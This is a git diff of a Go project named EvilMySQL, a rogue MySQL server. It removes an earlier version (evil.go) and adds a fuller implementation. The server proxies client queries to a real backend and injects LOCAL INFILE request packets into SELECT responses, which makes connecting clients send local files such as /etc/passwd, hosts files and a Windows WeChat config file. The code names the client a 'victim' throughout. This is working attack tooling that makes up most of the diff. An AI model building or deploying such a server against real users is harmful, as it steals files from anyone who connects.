diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..698d6df --- /dev/null +++ b/.gitignore @@ -0,0 +1,3 @@ +docker-compose.yml + +.idea diff --git a/client.go b/client.go new file mode 100644 index 0000000..6a9d65e --- /dev/null +++ b/client.go @@ -0,0 +1,72 @@ +package main + +import ( + "encoding/binary" + "errors" + "fmt" + "github.com/go-sql-driver/mysql" + "net" +) + +func NewClient(dsn string) (net.Conn, error) { + conf, err := mysql.ParseDSN(dsn) + if err != nil { + fmt.Errorf("invalid dsn format:%s\n", dsn) + return nil, errors.New("invalid dsn format") + } + conn, err := net.Dial("tcp", conf.Addr) + if err != nil { + return nil, err + } + + greeting := readOnePacket(conn) + part1 := greeting[16:24] + part2 := greeting[43:55] + salt := append(part1, part2...) + hash := GetNativePwdHash(conf.Passwd, salt) + + packet := make([]byte, 0) + // client capabilities + packet = binary.LittleEndian.AppendUint16(packet, 0xa685) + // extended client capabilities + packet = binary.LittleEndian.AppendUint16(packet, 0x20ff) + // max packet + packet = binary.LittleEndian.AppendUint32(packet, 16777216) + // charset + packet = append(packet, 0x21) + // unused + packet = append(packet, make([]byte, 23, 23)...) + // username + packet = append(packet, []byte(conf.User+"\u0000")...) + // password length + packet = append(packet, uint8(len(hash))) + // password + packet = append(packet, hash...) + // auth plugin + packet = append(packet, []byte("mysql_native_password\u0000")...) + + // attribute + attr := make(map[string]string) + attr["_os"] = "linux" + attr["_client_name"] = "libmariadb" + attr["_pid"] = "177733" + attr["_client_version"] = "3.3.2" + attr["_platform"] = "x86_64" + attr["program_name"] = "mysql" + attr["_server_host"] = "127.0.0.1" + tmp := make([]byte, 0) + for k, v := range attr { + tmp = append(tmp, uint8(len(k))) + tmp = append(tmp, []byte(k)...) + tmp = append(tmp, uint8(len(v))) + tmp = append(tmp, []byte(v)...) + } + packet = append(packet, uint8(len(tmp))) + packet = append(packet, tmp...) + + buf := addMysqlHeader(packet, 1) + + writeBody(conn, buf) + readOnePacket(conn) + return conn, nil +} diff --git a/evil.go b/evil.go deleted file mode 100644 index d0fe376..0000000 --- a/evil.go +++ /dev/null @@ -1,71 +0,0 @@ -package main - -import ( - "bufio" - "fmt" - "net" -) - -func writeBody(conn net.Conn, buf []byte) { - _, _ = conn.Write(buf) -} - -func readBody(conn net.Conn) (int, []byte) { - reader := bufio.NewReader(conn) - buf := make([]byte, 4096) - length, _ := reader.Read(buf[:]) - return length, buf -} - -func getFile(conn net.Conn, fileName string) bool { - - var remoteFile []byte - var length int - var recv []byte - - defer func(conn net.Conn) { - _ = conn.Close() - }(conn) - - writeBody(conn, []byte("\x4a\x00\x00\x00\x0a\x35\x2e\x35\x2e\x35\x33\x00\x17\x00\x00\x00\x6e\x7a\x3b\x54\x76\x73\x61\x6a\x00\xff\xf7\x21\x02\x00\x0f\x80\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x70\x76\x21\x3d\x50\x5c\x5a\x32\x2a\x7a\x49\x3f\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00")) - readBody(conn) - - writeBody(conn, []byte("\x07\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00")) - readBody(conn) - - remoteFile = append(remoteFile, byte(len(fileName)+1)) - remoteFile = append(remoteFile, []byte("\x00\x00\x01\xFB")...) - remoteFile = append(remoteFile, []byte(fileName)...) - - writeBody(conn, remoteFile) - length, recv = readBody(conn) - - fileContent := string(recv[:length]) - - if length > 4 { - fmt.Printf("%v", fileContent) - return true - } - - return false -} - -func main() { - server, err := net.Listen("tcp", "0.0.0.0:3306") - if err != nil { - fmt.Printf("server failed, err:%v\n", err) - return - } - fmt.Println("binding: 0.0.0.0:3306") - - var conn net.Conn - - for { - conn, err = server.Accept() - if err != nil { - fmt.Printf("accept failed, err:%v\n", err) - } - - go getFile(conn, "/etc/passwd") - } -} diff --git a/go.mod b/go.mod index ff45fd8..6db5545 100644 --- a/go.mod +++ b/go.mod @@ -1,3 +1,16 @@ module EvilMySQL go 1.19 + +require ( + github.com/go-mysql-org/go-mysql v1.6.0 + github.com/go-sql-driver/mysql v1.6.0 +) + +require ( + github.com/google/uuid v1.3.0 // indirect + github.com/pingcap/errors v0.11.5-0.20201126102027-b0a155152ca3 // indirect + github.com/siddontang/go v0.0.0-20180604090527-bdc77568d726 // indirect + github.com/siddontang/go-log v0.0.0-20180807004314-8d05993dda07 // indirect + go.uber.org/atomic v1.7.0 // indirect +) diff --git a/go.sum b/go.sum new file mode 100644 index 0000000..5b51fed --- /dev/null +++ b/go.sum @@ -0,0 +1,102 @@ +github.com/BurntSushi/toml v0.3.1/go.mod h1:xHWCNGjB5oqiDr8zfno3MHue2Ht5sIBksp03qcyfWMU= +github.com/cznic/golex v0.0.0-20181122101858-9c343928389c/go.mod h1:+bmmJDNmKlhWNG+gwWCkaBoTy39Fs+bzRxVBzoTQbIc= +github.com/cznic/mathutil v0.0.0-20181122101859-297441e03548/go.mod h1:e6NPNENfs9mPDVNRekM7lKScauxd5kXTr1Mfyig6TDM= +github.com/cznic/parser v0.0.0-20160622100904-31edd927e5b1/go.mod h1:2B43mz36vGZNZEwkWi8ayRSSUXLfjL8OkbzwW4NcPMM= +github.com/cznic/sortutil v0.0.0-20181122101858-f5f958428db8/go.mod h1:q2w6Bg5jeox1B+QkJ6Wp/+Vn0G/bo3f1uY7Fn3vivIQ= +github.com/cznic/strutil v0.0.0-20171016134553-529a34b1c186/go.mod h1:AHHPPPXTw0h6pVabbcbyGRK1DckRn7r/STdZEeIDzZc= +github.com/cznic/y v0.0.0-20170802143616-045f81c6662a/go.mod h1:1rk5VM7oSnA4vjp+hrLQ3HWHa+Y4yPCa3/CsJrcNnvs= +github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= +github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= +github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= +github.com/go-mysql-org/go-mysql v1.6.0 h1:19B5fojzZcri/1wj9G/1+ws8RJ3N6rJs2X5c/+kBLuQ= +github.com/go-mysql-org/go-mysql v1.6.0/go.mod h1:GX0clmylJLdZEYAojPCDTCvwZxbTBrke93dV55715u0= +github.com/go-sql-driver/mysql v1.3.0/go.mod h1:zAC/RDZ24gD3HViQzih4MyKcchzm+sOG5ZlKdlhCg5w= +github.com/go-sql-driver/mysql v1.5.0/go.mod h1:DCzpHaOWr8IXmIStZouvnhqoel9Qv2LBy8hT2VhHyBg= +github.com/go-sql-driver/mysql v1.6.0 h1:BCTh4TKNUYmOmMUcQ3IipzF5prigylS7XXjEkfCHuOE= +github.com/go-sql-driver/mysql v1.6.0/go.mod h1:DCzpHaOWr8IXmIStZouvnhqoel9Qv2LBy8hT2VhHyBg= +github.com/google/renameio v0.1.0/go.mod h1:KWCgfxg9yswjAJkECMjeO8J8rahYeXnNhOm40UhjYkI= +github.com/google/uuid v1.3.0 h1:t6JiXgmwXMjEs8VusXIJk2BXHsn+wx8BZdTaoZ5fu7I= +github.com/google/uuid v1.3.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= +github.com/jmoiron/sqlx v1.3.3/go.mod h1:2BljVx/86SuTyjE+aPYlHCTNvZrnJXghYGpNiXLBMCQ= +github.com/kisielk/gotool v1.0.0/go.mod h1:XhKaO+MFFWcvkIS/tQcRk01m1F5IRFswLeQ+oQHNcck= +github.com/kr/pretty v0.1.0/go.mod h1:dAy3ld7l9f0ibDNOQOHHMYYIIbhfbHSm3C4ZsoJORNo= +github.com/kr/pty v1.1.1/go.mod h1:pFQYn66WHrOpPYNljwOMqo10TkYh1fy3cYio2l3bCsQ= +github.com/kr/text v0.1.0/go.mod h1:4Jbv+DJW3UT/LiOwJeYQe1efqtUx/iVham/4vfdArNI= +github.com/lib/pq v1.2.0/go.mod h1:5WUZQaWbwv1U+lTReE5YruASi9Al49XbQIvNi/34Woo= +github.com/mattn/go-sqlite3 v1.14.6/go.mod h1:NyWgC/yNuGj7Q9rpYnZvas74GogHl5/Z4A/KQRfk6bU= +github.com/pingcap/check v0.0.0-20190102082844-67f458068fc8 h1:USx2/E1bX46VG32FIw034Au6seQ2fY9NEILmNh/UlQg= +github.com/pingcap/check v0.0.0-20190102082844-67f458068fc8/go.mod h1:B1+S9LNcuMyLH/4HMTViQOJevkGiik3wW2AN9zb2fNQ= +github.com/pingcap/errors v0.11.0/go.mod h1:Oi8TUi2kEtXXLMJk9l1cGmz20kV3TaQ0usTwv5KuLY8= +github.com/pingcap/errors v0.11.5-0.20201029093017-5a7df2af2ac7/go.mod h1:G7x87le1poQzLB/TqvTJI2ILrSgobnq4Ut7luOwvfvI= +github.com/pingcap/errors v0.11.5-0.20201126102027-b0a155152ca3 h1:LllgC9eGfqzkfubMgjKIDyZYaa609nNWAyNZtpy2B3M= +github.com/pingcap/errors v0.11.5-0.20201126102027-b0a155152ca3/go.mod h1:G7x87le1poQzLB/TqvTJI2ILrSgobnq4Ut7luOwvfvI= +github.com/pingcap/log v0.0.0-20200511115504-543df19646ad/go.mod h1:4rbK1p9ILyIfb6hU7OG2CiWSqMXnp3JMbiaVJ6mvoY8= +github.com/pingcap/log v0.0.0-20210317133921-96f4fcab92a4/go.mod h1:4rbK1p9ILyIfb6hU7OG2CiWSqMXnp3JMbiaVJ6mvoY8= +github.com/pingcap/parser v0.0.0-20210415081931-48e7f467fd74/go.mod h1:xZC8I7bug4GJ5KtHhgAikjTfU4kBv1Sbo3Pf1MZ6lVw= +github.com/pkg/errors v0.8.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0= +github.com/pkg/errors v0.9.1 h1:FEBLx1zS214owpjy7qsBeixbURkuhQAwrK5UwLGTwt4= +github.com/pkg/errors v0.9.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0= +github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= +github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= +github.com/remyoudompheng/bigfft v0.0.0-20190728182440-6a916e37a237/go.mod h1:qqbHyh8v60DhA7CoWK5oRCqLrMHRGoxYCSS9EjAz6Eo= +github.com/rogpeppe/go-internal v1.3.0/go.mod h1:M8bDsm7K2OlrFYOpmOWEs/qY81heoFRclV5y23lUDJ4= +github.com/shopspring/decimal v0.0.0-20180709203117-cd690d0c9e24/go.mod h1:M+9NzErvs504Cn4c5DxATwIqPbtswREoFCre64PpcG4= +github.com/siddontang/go v0.0.0-20180604090527-bdc77568d726 h1:xT+JlYxNGqyT+XcU8iUrN18JYed2TvG9yN5ULG2jATM= +github.com/siddontang/go v0.0.0-20180604090527-bdc77568d726/go.mod h1:3yhqj7WBBfRhbBlzyOC3gUxftwsU0u8gqevxwIHQpMw= +github.com/siddontang/go-log v0.0.0-20180807004314-8d05993dda07 h1:oI+RNwuC9jF2g2lP0u0cVEEZrc/AYBCuFdvwrLWM/6Q= +github.com/siddontang/go-log v0.0.0-20180807004314-8d05993dda07/go.mod h1:yFdBgwXP24JziuRl2NMUahT7nGLNOKi1SIiFxMttVD4= +github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= +github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI= +github.com/stretchr/testify v1.4.0/go.mod h1:j7eGeouHqKxXV5pUuKE4zz7dFj8WfuZ+81PSLYec5m4= +github.com/stretchr/testify v1.7.0 h1:nwc3DEeHmmLAfoZucVR881uASk0Mfjw8xYJ99tb5CcY= +github.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= +github.com/yuin/goldmark v1.2.1/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74= +go.uber.org/atomic v1.3.2/go.mod h1:gD2HeocX3+yG+ygLZcrzQJaqmWj9AIm7n08wl/qW/PE= +go.uber.org/atomic v1.6.0/go.mod h1:sABNBOSYdrvTF6hTgEIbc7YasKWGhgEQZyfxyTvoXHQ= +go.uber.org/atomic v1.7.0 h1:ADUqmZGgLDDfbSL9ZmPxKTybcoEYHgpYfELNoN+7hsw= +go.uber.org/atomic v1.7.0/go.mod h1:fEN4uk6kAWBTFdckzkM89CLk9XfWZrxpCo0nPH17wJc= +go.uber.org/multierr v1.1.0/go.mod h1:wR5kodmAFQ0UK8QlbwjlSNy0Z68gJhDJUG5sjR94q/0= +go.uber.org/multierr v1.5.0/go.mod h1:FeouvMocqHpRaaGuG9EjoKcStLC43Zu/fmqdUMPcKYU= +go.uber.org/multierr v1.6.0/go.mod h1:cdWPpRnG4AhwMwsgIHip0KRBQjJy5kYEpYjJxpXp9iU= +go.uber.org/tools v0.0.0-20190618225709-2cfd321de3ee/go.mod h1:vJERXedbb3MVM5f9Ejo0C68/HhF8uaILCdgjnY+goOA= +go.uber.org/zap v1.9.1/go.mod h1:vwi/ZaCAaUcBkycHslxD9B2zi4UTXhF60s6SWpuDF0Q= +go.uber.org/zap v1.15.0/go.mod h1:Mb2vm2krFEG5DV0W9qcHBYFtp/Wku1cvYaqPsS/WYfc= +go.uber.org/zap v1.16.0/go.mod h1:MA8QOfq0BHJwdXa996Y4dYkAqRKB8/1K1QMMZVaNZjQ= +golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w= +golang.org/x/crypto v0.0.0-20190510104115-cbcb75029529/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI= +golang.org/x/crypto v0.0.0-20191011191535-87dc89f01550/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI= +golang.org/x/crypto v0.0.0-20200622213623-75b288015ac9/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto= +golang.org/x/lint v0.0.0-20190930215403-16217165b5de/go.mod h1:6SW0HCj/g11FgYtHlgUYUwCkIfeOF89ocIRzGO/8vkc= +golang.org/x/mod v0.0.0-20190513183733-4bf6d317e70e/go.mod h1:mXi4GBBbnImb6dmsKGUJ2LatrhH/nqhxcFungHvyanc= +golang.org/x/mod v0.3.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA= +golang.org/x/net v0.0.0-20190311183353-d8887717615a/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg= +golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg= +golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= +golang.org/x/net v0.0.0-20201021035429-f5854403a974/go.mod h1:sp8m0HH+o8qH0wwXwYZr8TS3Oi6o0r6Gce1SSxlDquU= +golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= +golang.org/x/sync v0.0.0-20201020160332-67f06af15bc9/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= +golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= +golang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20200930185726-fdedc70b468f/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= +golang.org/x/text v0.3.1-0.20180807135948-17ff2d5776d2/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= +golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= +golang.org/x/text v0.3.6/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= +golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= +golang.org/x/tools v0.0.0-20190311212946-11955173bddd/go.mod h1:LCzVGOaR6xXOjkQ3onu1FJEFr0SW1gC7cKk1uF8kGRs= +golang.org/x/tools v0.0.0-20190621195816-6e04913cbbac/go.mod h1:/rFqwRUd4F7ZHNgwSSTFct+R/Kf4OFW1sUzUTQQTgfc= +golang.org/x/tools v0.0.0-20191029041327-9cc4af7d6b2c/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= +golang.org/x/tools v0.0.0-20191029190741-b9c20aec41a5/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= +golang.org/x/tools v0.0.0-20191119224855-298f0cb1881e/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= +golang.org/x/tools v0.0.0-20201125231158-b5590deeca9b/go.mod h1:emZCQorbCU4vsT4fOWvOPXz4eW1wZW4PmDk9uLelYpA= +golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= +golang.org/x/xerrors v0.0.0-20191011141410-1b5146add898/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= +golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= +gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= +gopkg.in/check.v1 v1.0.0-20180628173108-788fd7840127/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= +gopkg.in/errgo.v2 v2.1.0/go.mod h1:hNsd1EY+bozCKY1Ytp96fpM3vjJbqLJn88ws8XvfDNI= +gopkg.in/natefinch/lumberjack.v2 v2.0.0/go.mod h1:l0ndWWf7gzL7RNwBG7wST/UCcT4T24xpD6X8LsfU/+k= +gopkg.in/yaml.v2 v2.2.2/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= +gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c h1:dUUwHk2QECo/6vqA44rthZ8ie2QXMNeKRTHCNY2nXvo= +gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= +honnef.co/go/tools v0.0.1-2019.2.3/go.mod h1:a3bituU0lyd329TUQxRnasdCoJDkEUEAqEt0JzvZhAg= diff --git a/main.go b/main.go new file mode 100644 index 0000000..88341b9 --- /dev/null +++ b/main.go @@ -0,0 +1,191 @@ +package main + +import ( + "bytes" + "crypto/rand" + "flag" + "fmt" + _ "github.com/go-sql-driver/mysql" + "log" + "net" + "strconv" + "strings" +) + +// command line parameters +var port int +var password string +var username string +var dsn string + +// record which file has been read by client. +// if /etc/passwd has been read from 192.168.0.1, fileBeenRead["192.168.0.1:/etc/passwd"] will be set to true +var fileBeenRead map[string]bool + +func auth(conn net.Conn, salt []byte, body []byte) bool { + if password == "" { + return true + } + + body = body[36:] + user := make([]byte, 0) + i := 0 + for { + if body[i] != 0 { + user = append(user, body[i]) + i++ + } else { + break + } + } + + hash := body[i+2 : i+22] + + correctHash := GetNativePwdHash(password, salt) + if string(user) != username || bytes.Compare(hash, correctHash) != 0 { + addr := conn.RemoteAddr().String() + host := addr[:strings.LastIndex(addr, ":")] + errMsg := fmt.Sprintf("Access denied for user '%s'@'%s' (using password: YES)", string(user), host) + writeBody(conn, NewErrorPacket(1045, "28000", errMsg, 2)) + return false + } + return true +} + +func getFile(clientOS string, addr string) string { + linuxFileList := []string{ + "/etc/passwd", + "/etc/hostname", + "/etc/hosts", + "/etc/issue", + } + + windowsFileList := []string{ + "C:\\Windows\\PFRO.log", + "C:\\Users\\Administrators\\Documents\\WeChat Files\\All Users\\config\\config.data", + } + + var t []string + if clientOS == "windows" { + t = windowsFileList + } else { + t = linuxFileList + } + for _, f := range t { + key := addr + ":" + f + if fileBeenRead[key] { + continue + } + fileBeenRead[key] = true + return f + } + return "" +} + +func handleConnection(conn net.Conn, mysqlConn net.Conn) { + + //MySQL Greeting message + mysqlVersion := "5.7.39" + authenticationPlugin := "mysql_native_password" + victimAddr := conn.RemoteAddr().String() + // server greeting + salt := []byte("Vidar nb") + part2 := make([]byte, 12) + rand.Read(part2) + salt = append(salt, part2...) + writeBody(conn, NewGreetingPacket(mysqlVersion, authenticationPlugin, salt)) + // client login + body := readOnePacket(conn) + if !auth(conn, salt, body) { + return + } + //clientOS := parseOS(body) + // login ok + writeBody(conn, addMysqlHeader([]byte("\x00\x00\x00\x02\x00\x00\x00"), 02)) + + buf := make([]byte, 4096) + for { + packet := readOnePacket(conn) + if len(packet) == 0 { + continue + } + // victim quited + if isQuitPacket(packet) { + conn.Close() + mysqlConn.Write(packet) + mysqlConn.Close() + log.Printf("%s client quited\n") + break + } + clientOS := parseOS(packet) + if isQueryPacket(packet) { + // insert evil packet to steal file + filename := getFile(clientOS, victimAddr) + evilPacket := buildEvilPackets(filename) + conn.Write(evilPacket) + // read file content + p := readOnePacket(conn) + fileContent := p[4:] + // TODO: save file here + log.Printf("read file %s from victim %s\n", filename, victimAddr) + fmt.Println(string(fileContent)) + + // send row query packet to backend mysql + mysqlConn.Write(packet) + n, _ := mysqlConn.Read(buf) + n, respPackets := parsePackets(buf[:n]) + // correct sequence number and reassemble it + t := make([]byte, 0) + for i := 0; i < n; i++ { + respPackets[i][3] += 2 // sequence number += 2 + t = append(t, respPackets[i]...) + } + conn.Write(t) + // drop 0x0 0x0 0x0 0x3 + readOnePacket(conn) + } else { + // 无情的转发机器 + mysqlConn.Write(packet) + n, _ := mysqlConn.Read(buf) + conn.Write(buf[:n]) + } + } +} + +func init() { + // init global map + fileBeenRead = make(map[string]bool) + // + flag.IntVar(&port, "p", 3306, "listen port") + flag.StringVar(&password, "P", "admin", "password for client login") + flag.StringVar(&username, "u", "root", "username for client login") + flag.StringVar(&dsn, "d", "", "dsn string for connecting mysql") + flag.Parse() +} + +func main() { + addr := "0.0.0.0:" + strconv.Itoa(port) + server, err := net.Listen("tcp", addr) + if err != nil { + fmt.Printf("server failed, err:%v\n", err) + return + } + fmt.Printf("binding: %s\n", addr) + + for { + var conn net.Conn + var mysqlConn net.Conn + conn, err = server.Accept() + if dsn != "" { + mysqlConn, _ = NewClient(dsn) + //mysqlConn, _ = net.Dial("tcp", "127.0.0.1:6033") + } + if err != nil { + fmt.Printf("accept failed, err:%v\n", err) + } else { + fmt.Printf("connection received from %s\n", conn.RemoteAddr().String()) + } + + go handleConnection(conn, mysqlConn) + } +} diff --git a/util.go b/util.go new file mode 100644 index 0000000..6558688 --- /dev/null +++ b/util.go @@ -0,0 +1,146 @@ +package main + +import ( + "bytes" + "crypto/sha1" + "encoding/binary" + "io" + "math/rand" + "net" + "strings" +) + +func writeBody(conn net.Conn, buf []byte) { + _, _ = conn.Write(buf) +} + +func parseHeader(headerBuf []byte) (uint32, uint8) { + lengthBuf := headerBuf[:3] + lengthBuf = append(lengthBuf, 0) + length := binary.LittleEndian.Uint32(lengthBuf) + packetNum := headerBuf[3] + return length, packetNum +} + +func readOnePacket(conn net.Conn) []byte { + headerBuf := make([]byte, 4) + n, err := io.LimitReader(conn, 4).Read(headerBuf) + if n == 0 || err != nil { + return []byte{} + } + length, _ := parseHeader(headerBuf) + // packet number + buf, _ := io.ReadAll(io.LimitReader(conn, int64(length))) + return append(headerBuf, buf...) +} + +func parsePackets(buf []byte) (int, [][]byte) { + packetCont := 0 + pos := 0 + packets := make([][]byte, 0) + length := len(buf) + for pos < length { + l, _ := parseHeader(buf[pos : pos+4]) + packetCont += 1 + end := pos + 4 + int(l) + packets = append(packets, buf[pos:end]) + pos = end + // check if this is a EOF packet + //if p[4] == 0xfe { + // break + //} + } + return packetCont, packets +} + +func parseOS(buf []byte) string { + return "" +} + +func GetNativePwdHash(password string, salt []byte) []byte { + t := sha1.Sum([]byte(password)) + hash1 := sha1.Sum(t[:]) + hash2 := sha1.Sum(append(salt, hash1[:]...)) + correctHash := make([]byte, 20) + for j := range hash2 { + correctHash[j] = t[j] ^ hash2[j] + } + return correctHash +} + +func isQueryPacket(data []byte) bool { + hasQueryFlag := data[4] == 0x03 + hasSelect := strings.ToUpper(string(data[5:11])) == "SELECT" + return hasQueryFlag && hasSelect +} + +func isQuitPacket(data []byte) bool { + return bytes.Compare(data, []byte{0x1, 0x0, 0x0, 0x0, 0x1}) == 0 +} + +func buildEvilPackets(filename string) []byte { + packet := make([]byte, 0) + packet = append(packet, 0xfb) // flag + packet = append(packet, []byte(filename)...) + return addMysqlHeader(packet, 1) +} + +func addMysqlHeader(data []byte, packerNumber int) []byte { + buf := make([]byte, 0) + t := make([]byte, 4) + binary.LittleEndian.PutUint32(t, uint32(len(data))) + buf = append(buf, t[:3]...) + buf = append(buf, uint8(packerNumber)) + buf = append(buf, data...) + return buf +} + +func NewGreetingPacket(mysqlVersion, authPlugin string, salt []byte) []byte { + packet := make([]byte, 0) + // protocol + packet = append(packet, uint8(10)) + var version [7]byte + // version + copy(version[:], mysqlVersion) + packet = append(packet, version[:]...) + // thread id - 06 00 00 00 + packet = binary.LittleEndian.AppendUint32(packet, uint32(rand.Intn(128))) + //packet = append(packet, []byte{0x06, 0x0, 0x0, 0x0}...) + // salt - first part + t := make([]byte, 8) + copy(t, salt[:8]) + packet = append(packet, append(t, 0x0)...) + // server capabilities + packet = append(packet, []byte{0xff, 0xff}...) + // server language + packet = append(packet, 0x08) + // server status + packet = append(packet, []byte{0x2, 0x0}...) + // extended capabilities + packet = append(packet, []byte{0xff, 0xc1}...) + // auth plugin length + packet = append(packet, uint8(len(authPlugin))) + // unused + packet = append(packet, []byte{0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}...) + // salt - second part + packet = append(packet, append(salt[8:], 0)...) + // auth plugin + packet = append(packet, []byte(authPlugin+"\u0000")...) + + x := addMysqlHeader(packet, 0) + return x +} + +func NewErrorPacket(errorCode int, sqlState string, errMsg string, packetNumber int) []byte { + packet := make([]byte, 0) + packet = append(packet, uint8(0xff)) + buf := make([]byte, 2) + binary.LittleEndian.PutUint16(buf, uint16(errorCode)) + packet = append(packet, buf...) + packet = append(packet, 0x23) + packet = append(packet, []byte(sqlState)...) + packet = append(packet, []byte(errMsg)...) + + x := addMysqlHeader(packet, packetNumber) + return x +}